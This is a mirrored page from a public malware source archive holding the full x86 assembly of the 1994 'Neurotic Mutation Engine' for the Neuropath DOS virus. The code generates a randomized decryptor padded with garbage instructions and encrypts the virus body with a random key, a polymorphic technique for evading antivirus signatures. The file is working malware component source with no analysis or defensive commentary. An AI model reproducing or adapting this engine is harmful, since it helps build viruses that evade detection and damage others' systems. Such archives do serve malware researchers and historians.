mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 18:02:48 +00:00
285 lines
8.0 KiB
NASM
285 lines
8.0 KiB
NASM
; Neurotic Mutation Engine v1.00 for Neuropath
|
|
; by MnemoniX 1994
|
|
|
|
engine proc near
|
|
call randomize
|
|
|
|
get_reg_1:
|
|
mov ax,7 ; counter register
|
|
call _random
|
|
inc ax
|
|
cmp al,4
|
|
je get_reg_1
|
|
cmp al,5
|
|
ja get_reg_1
|
|
mov ds:reg_1,al
|
|
|
|
push di ; save this
|
|
|
|
push ax
|
|
call garbage_dump ; crap
|
|
pop ax
|
|
|
|
add al,0B8h ; store MOV instruction
|
|
stosb
|
|
mov ax,cx
|
|
stosw
|
|
|
|
call garbage_dump ; more crap
|
|
|
|
mov al,0BFh
|
|
stosb
|
|
push di ; use this later
|
|
stosw
|
|
|
|
call garbage_dump ; even more crap
|
|
|
|
mov ax,0F78Bh
|
|
stosw
|
|
|
|
push di ; use this later too
|
|
call garbage_dump ; more crap
|
|
|
|
mov al,0ADh ; a LODSW
|
|
stosb
|
|
|
|
call garbage_dump ; yet more crap
|
|
|
|
mov al,2
|
|
call _random
|
|
test al,al
|
|
je add_it
|
|
|
|
mov al,35h
|
|
mov bl,al
|
|
je decryptor
|
|
add_it:
|
|
mov al,5
|
|
mov bl,2Dh
|
|
decryptor:
|
|
stosb
|
|
mov ds:encrypt_act,bl ; for encryption
|
|
|
|
mov ax,-1
|
|
call _random
|
|
stosw
|
|
mov ds:encrypt_key,ax ; for encryption
|
|
|
|
call garbage_dump ; just pilin' on the crap
|
|
|
|
mov al,0ABh ; a STOSW
|
|
stosb
|
|
|
|
call garbage_dump ; the crap continues ...
|
|
|
|
mov al,ds:reg_1 ; decrement counter
|
|
add al,48h
|
|
mov ah,9Ch ; and a PUSHF
|
|
stosw
|
|
|
|
call garbage_dump ; C-R-A-P ...
|
|
|
|
mov ax,749Dh ; a POPF and JZ
|
|
stosw
|
|
mov ax,4
|
|
call _random ; use later
|
|
mov bx,ax
|
|
add al,3
|
|
stosb
|
|
|
|
mov al,0E9h ; a JMP
|
|
stosb
|
|
pop ax ; use LODSW offset
|
|
sub ax,di
|
|
dec ax
|
|
dec ax
|
|
stosw
|
|
|
|
add di,bx ; fix up DI
|
|
|
|
pop bx ; now fix up offset value
|
|
pop bp
|
|
sub bp,di
|
|
neg bp
|
|
push bp ; size of decryptor - for l8r
|
|
add bp,dx
|
|
mov es:[bx],bp
|
|
|
|
push cx
|
|
|
|
push si
|
|
mov si,offset one_byters ; swap one-byte instructions
|
|
mov ax,7 ; around for variety
|
|
call _random
|
|
mov bx,ax
|
|
mov al,7
|
|
call _random
|
|
mov ah,[bx+si]
|
|
mov bl,al
|
|
mov [bx+si],ah
|
|
pop si
|
|
|
|
; now we encrypt
|
|
encrypt_it:
|
|
lodsw
|
|
encrypt_act db 0
|
|
encrypt_key dw 0
|
|
stosw
|
|
loop encrypt_it
|
|
|
|
pop cx
|
|
pop dx
|
|
add cx,dx
|
|
ret
|
|
|
|
reg_1 db 0
|
|
|
|
rnd_seed_1 dw 0
|
|
rnd_seed_2 dw 0
|
|
|
|
|
|
garbage_dump:
|
|
mov ax,7 ; garbage instructions
|
|
call _random
|
|
add ax,5
|
|
push cx
|
|
mov cx,ax
|
|
dump_it:
|
|
; El Basurero - "The GarbageMan"
|
|
mov ax,8
|
|
call _random
|
|
cmp al,2
|
|
jb next_one
|
|
je garbage_1 ; a MOV ??,AX
|
|
cmp al,3
|
|
je garbage_2 ; operate ??,AX
|
|
cmp al,4
|
|
je garbage_3 ; CMP or TEST AX/AL,??
|
|
cmp al,5 ; a few little instructions
|
|
jae garbage_4
|
|
next_one:
|
|
loop dump_it
|
|
pop cx
|
|
ret
|
|
|
|
garbage_1:
|
|
mov al,8Bh
|
|
stosb
|
|
call get_mov_reg
|
|
shl ax,1
|
|
shl ax,1
|
|
shl ax,1
|
|
add al,0C0h
|
|
stosb
|
|
jmp next_one
|
|
|
|
garbage_2:
|
|
mov al,8
|
|
call _random
|
|
shl ax,1
|
|
shl ax,1
|
|
shl ax,1
|
|
add al,3
|
|
stosb
|
|
call get_mov_reg
|
|
shl ax,1
|
|
shl ax,1
|
|
shl ax,1
|
|
add al,0C0h
|
|
stosb
|
|
jmp next_one
|
|
|
|
garbage_3:
|
|
mov al,2
|
|
call _random
|
|
test al,al
|
|
je a_cmp
|
|
mov al,0A9h
|
|
jmp storage
|
|
a_cmp:
|
|
mov al,3Dh
|
|
storage:
|
|
stosb
|
|
mov ax,-1
|
|
call _random
|
|
stosw
|
|
jmp next_one
|
|
|
|
garbage_4:
|
|
push cx
|
|
mov ax,4
|
|
call _random
|
|
add ax,3
|
|
mov cx,ax
|
|
push si
|
|
mov bx,offset one_byters
|
|
filler_loop:
|
|
mov ax,8
|
|
call _random
|
|
cmp al,7
|
|
je make_inc_dec
|
|
mov si,ax
|
|
mov al,[bx+si]
|
|
proceed:
|
|
stosb
|
|
loop filler_loop
|
|
|
|
pop si cx
|
|
jmp next_one
|
|
|
|
make_inc_dec:
|
|
call get_mov_reg
|
|
add al,40h
|
|
jmp proceed
|
|
|
|
get_mov_reg:
|
|
mov ax,8
|
|
call _random
|
|
test al,al
|
|
je get_mov_reg
|
|
cmp al,4
|
|
je get_mov_reg
|
|
cmp al,5
|
|
ja get_mov_reg
|
|
cmp al,reg_1
|
|
je get_mov_reg
|
|
ret
|
|
|
|
one_byters:
|
|
db 0CCh
|
|
stc
|
|
clc
|
|
cmc
|
|
sti
|
|
nop
|
|
cld
|
|
|
|
randomize:
|
|
push cx dx
|
|
xor ah,ah
|
|
int 1Ah
|
|
mov rnd_seed_1,dx
|
|
add dx,cx
|
|
mov rnd_seed_2,dx
|
|
pop dx cx
|
|
ret
|
|
|
|
_random:
|
|
push cx dx ax
|
|
add dx,rnd_seed_2
|
|
add dx,17
|
|
mov ax,dx
|
|
xor dx,dx
|
|
test ax,ax
|
|
je rnd_done
|
|
pop cx
|
|
div cx
|
|
mov ax,dx ; AX now holds our random #
|
|
rnd_done:
|
|
mov dx,rnd_seed_1
|
|
add rnd_seed_2,dx
|
|
pop dx cx
|
|
ret
|
|
|
|
engine endp
|